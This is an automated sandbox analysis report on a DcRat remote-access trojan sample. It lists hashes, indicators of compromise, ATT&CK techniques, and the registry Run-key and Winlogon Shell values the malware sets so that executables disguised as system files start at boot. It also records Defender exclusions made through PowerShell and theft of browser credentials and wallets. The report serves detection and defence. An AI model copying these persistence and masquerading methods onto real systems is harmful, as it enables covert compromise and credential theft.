dcrat | dc2a17964084118aad74ee22789ca6a771d00f1028451eea8947eb63365d2b9e

Analysis

max time kernel
271s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
18/05/2024, 09:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
skeet.cc.exe
Size 1.6MB
Sample240518-ll9easdf42
SHA256 dc2a17964084118aad74ee22789ca6a771d00f1028451eea8947eb63365d2b9e
MD5 ad0e2712fec29876b2c5794ef99b2254
SHA1 9e86419ddacfa04e20f4554dd34756844f3de25d
SHA512 2c1ddb88215cd81099ca6931d2535f1cad80f5e2fbf285892ce8efd4e9cc49b447ced100b2fd5208bde2713f6b4fcefe5b740e63c0f20268a110ee8796f90154
SSDEEP 24576:L2G/nvxW3WQgkdlESdayd3rFfezUTnrtDENS2i8SIq7bARyGrx0f7MHqeTMap:LbA3Nxd2SdtihITtKto7ij
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

dcrat execution infostealer persistence rat spyware stealer

Malware Config

Signatures

DcRat 55 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
		1340	schtasks.exe
		4392	schtasks.exe
		940	schtasks.exe
		2240	schtasks.exe
		1296	schtasks.exe
		1836	schtasks.exe
		1912	schtasks.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation		skeet.cc.exe
		3288	schtasks.exe
		844	schtasks.exe
		3172	schtasks.exe
		2432	schtasks.exe
		3756	schtasks.exe
		3740	schtasks.exe
		4604	schtasks.exe
		4568	schtasks.exe
		5056	schtasks.exe
		528	schtasks.exe
		5040	schtasks.exe
		4500	schtasks.exe
		4856	schtasks.exe
		4948	schtasks.exe
		1464	schtasks.exe
		4004	schtasks.exe
		752	schtasks.exe
		3868	schtasks.exe
		3724	schtasks.exe
		4744	schtasks.exe
		2300	schtasks.exe
		3628	schtasks.exe
		3472	schtasks.exe
		4236	schtasks.exe
		3588	schtasks.exe
		4848	schtasks.exe
		1580	schtasks.exe
		1584	schtasks.exe
		1192	schtasks.exe
		2848	schtasks.exe
		3932	schtasks.exe
		3708	schtasks.exe
		2148	schtasks.exe
		1312	schtasks.exe
		4932	schtasks.exe
		2272	schtasks.exe
		1980	schtasks.exe
		4444	schtasks.exe
		2268	schtasks.exe
		3532	schtasks.exe
		2676	schtasks.exe
		1520	schtasks.exe
		732	schtasks.exe
		2564	schtasks.exe
		2764	schtasks.exe
		4156	schtasks.exe
		4376	schtasks.exe

Modifies WinLogon for persistence 2 TTPs 18 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\", \"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\", \"C:\\Users\\Default\\cmd.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\", \"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\", \"C:\\Users\\Default\\cmd.exe\", \"C:\\Users\\Default\\Videos\\SearchApp.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\ja-JP\\lsass.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\", \"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\", \"C:\\Users\\Default\\cmd.exe\", \"C:\\Users\\Default\\Videos\\SearchApp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\", \"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\", \"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default User\\sppsvc.exe\", \"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\winlogon.exe\", \"C:\\Users\\Admin\\RuntimeBroker.exe\", \"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\", \"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\", \"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\", \"C:\\Users\\Default\\cmd.exe\", \"C:\\Users\\Default\\Videos\\SearchApp.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\ja-JP\\lsass.exe\", \"C:\\Users\\Default\\Recent\\fontdrvhost.exe\""	browserwinsvc.exe

Process spawned unexpected child process 54 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2268	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1312	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1836	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2272	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4004	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1912	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1464	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	732	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1192	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3532	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	528	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4932	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5040	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3288	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5056	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2148	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	752	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3472	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1980	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3740	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4444	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4744	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4236	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2300	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3628	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3588	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	844	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2848	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4604	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1520	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4848	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4500	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3868	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4376	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3172	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1340	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1580	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1584	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2764	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4156	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4856	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4392	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2432	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3932	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3708	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3756	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	940	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3724	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4948	1916	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2240	1916	schtasks.exe	95

DCRat payload 2 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0007000000023443-10.dat	dcrat
behavioral1/memory/2760-13-0x0000000000AC0000-0x0000000000C10000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1352	powershell.exe
4592	powershell.exe
2852	powershell.exe
2480	powershell.exe
2268	powershell.exe
1536	powershell.exe
1212	powershell.exe
784	powershell.exe
2512	powershell.exe
920	powershell.exe
1928	powershell.exe
2396	powershell.exe
4116	powershell.exe
3176	powershell.exe
3804	powershell.exe
232	powershell.exe
2548	powershell.exe
3148	powershell.exe
1124	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	skeet.cc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	browserwinsvc.exe

Executes dropped EXE 4 IoCs

pid	Process
2760	browserwinsvc.exe
5452	backgroundTaskHost.exe
2648	RuntimeBroker.exe
3164	SearchApp.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 34 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Users\\Default\\cmd.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Users\\Default\\Videos\\SearchApp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Recovery\\WindowsRE\\explorer.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Default User\\sppsvc.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\Recovery\\WindowsRE\\winlogon.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Admin\\RuntimeBroker.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\unsecapp = "\"C:\\Windows\\Provisioning\\Cosa\\MO\\unsecapp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Users\\Default\\cmd.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\Recent\\fontdrvhost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Recovery\\WindowsRE\\Registry.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Users\\Default\\Videos\\SearchApp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files (x86)\\Windows Media Player\\ja-JP\\lsass.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\Recovery\\WindowsRE\\winlogon.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Admin\\RuntimeBroker.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\backgroundTaskHost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\Program Files (x86)\\Windows Media Player\\ja-JP\\lsass.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Recovery\\WindowsRE\\Registry.exe\""	browserwinsvc.exe
